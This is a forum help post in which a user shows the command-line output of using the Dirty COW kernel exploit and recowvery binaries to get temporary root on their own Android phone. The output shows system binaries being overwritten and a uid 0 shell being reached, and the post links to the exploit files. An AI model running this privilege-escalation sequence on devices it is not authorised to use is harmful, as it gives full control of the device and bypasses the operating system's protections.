[Android Q&A, Help & Troubleshooting] nimble.s:
Looks like I was abl to get temp root using dirty cow, but would like senior members to confirm and also tell me what is the next step(s).

Dirtycow files used - unable to post url

Steps Used - unable to post url

Below is the output from command prompt

-------------------------------------------------------

C:\Users\sp\Downloads\arm7>adb push dirtycow /data/local/tmp

112 KB/s (13728 bytes in 0.119s)

C:\Users\sp\Downloads\arm7>adb push recowvery-applypatch /data/local/tmp

3055 KB/s (22144 bytes in 0.007s)

C:\Users\sp\Downloads\arm7>adb push recowvery-app_process32 /data/local/tmp

1948 KB/s (17992 bytes in 0.009s)

C:\Users\sp\Downloads\arm7>adb push recowvery-run-as /data/local/tmp

2504 KB/s (17988 bytes in 0.007s)

C:\Users\sp\Downloads\arm7>adb shell

shell@k6b:/ $ cd /data/local/tmp

cd /data/local/tmp

shell@k6b:/data/local/tmp $ chmod 0777 *

chmod 0777 *

shell@k6b:/data/local/tmp $ ./dirtycow /system/bin/applypatch recowvery-applypatch

/dirtycow /system/bin/applypatch recowvery-applypatch <

warning: new file size (22144) and file old size (62072) differ

size 62072

[*] mmap 0xb6d7c000

[*] exploit (patch)

[*] currently 0xb6d7c000=464c457f

[*] madvise = 0xb6d7c000 62072

[*] madvise = 0 1048576

[*] /proc/self/mem 662700032 1048576

[*] exploited 0xb6d7c000=464c457f

shell@k6b:/data/local/tmp $ ./dirtycow /system/bin/app_process32 recowvery-app_process32

/dirtycow /system/bin/app_process32 recowvery-app_process32 <

warning: new file size (17992) and file old size (22068) differ

size 22068

[*] mmap 0xb6e0b000

[*] exploit (patch)

[*] currently 0xb6e0b000=464c457f

[*] madvise = 0xb6e0b000 22068

[*] madvise = 0 1048576

[*] /proc/self/mem 1665138688 1048576

[*] exploited 0xb6e0b000=464c457f

shell@k6b:/data/local/tmp $ exit

exit

C:\Users\sp\Downloads\arm7>adb logcat -s recowvery

--------- beginning of system

--------- beginning of main

^C

C:\Users\sp\Downloads\arm7>adb shell

shell@k6b:/ $ run-as -exec id

run-as -exec id

Current uid: 2000

Setting capabilities

Attempting to escalate to root

Current uid: 0

Executing: 'id' with 0 arguments

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:runas:s0

shell@k6b:/ $ run-as -exec sh

run-as -exec sh

Current uid: 2000

Setting capabilities

Attempting to escalate to root

Current uid: 0

Executing: 'sh' with 0 arguments

Failed to execute 'sh'!

1|shell@k6b:/ $ ^C

C:\Users\sp\Downloads\arm7>adb shell reboot recovery

C:\Users\sp\Downloads\arm7>adb shell

shell@k6b:/ $ getenforce

getenforce

Enforcing

shell@k6b:/ $ cd /data/local/tmp

cd /data/local/tmp

shell@k6b:/data/local/tmp $ ./dirtycow /system/bin/run-as recowvery-run-as

./dirtycow /system/bin/run-as recowvery-run-as

warning: new file size (17988) and file old size (17920) differ

size 17988

[*] mmap 0xb6dc1000

[*] exploit (patch)

[*] currently 0xb6dc1000=464c457f

[*] madvise = 0xb6dc1000 17988

[*] madvise = 0 1048576

[*] /proc/self/mem 1681915904 1048576

[*] exploited 0xb6dc1000=464c457f

shell@k6b:/data/local/tmp $ run-as su

run-as su

Warning: setcon transition to 'u:r:init:s0' failed (is SELinux Enforcing?)

Error 1: Operation not permitted

Welcome to recowvery! (run-as)

------------

Current uid: 2000

Setting capabilities

Attempting to escalate to root

Current uid: 0

We have root access!

------------

Starting root shell

1|shell@k6b:/data/local/tmp $ run-as -exec sh

run-as -exec sh

Unknown parameter: -exec

Usage for run-as (recowvery):

Execute a command as root:

run-as exec command [args...]

Start a root shell:

run-as su

Welcome to recowvery! (run-as)

22|shell@k6b:/data/local/tmp $

---------- Post added at 09:30 PM ---------- Previous post was at 09:24 PM ----------

Trying to post the links again :)

Link to Dirtycow Files - build.nethunter. com/android-tools/dirtycow/armv7/?C=N&O=D

Steps Used - github. com/jcadduono/android_external_dirtycow#running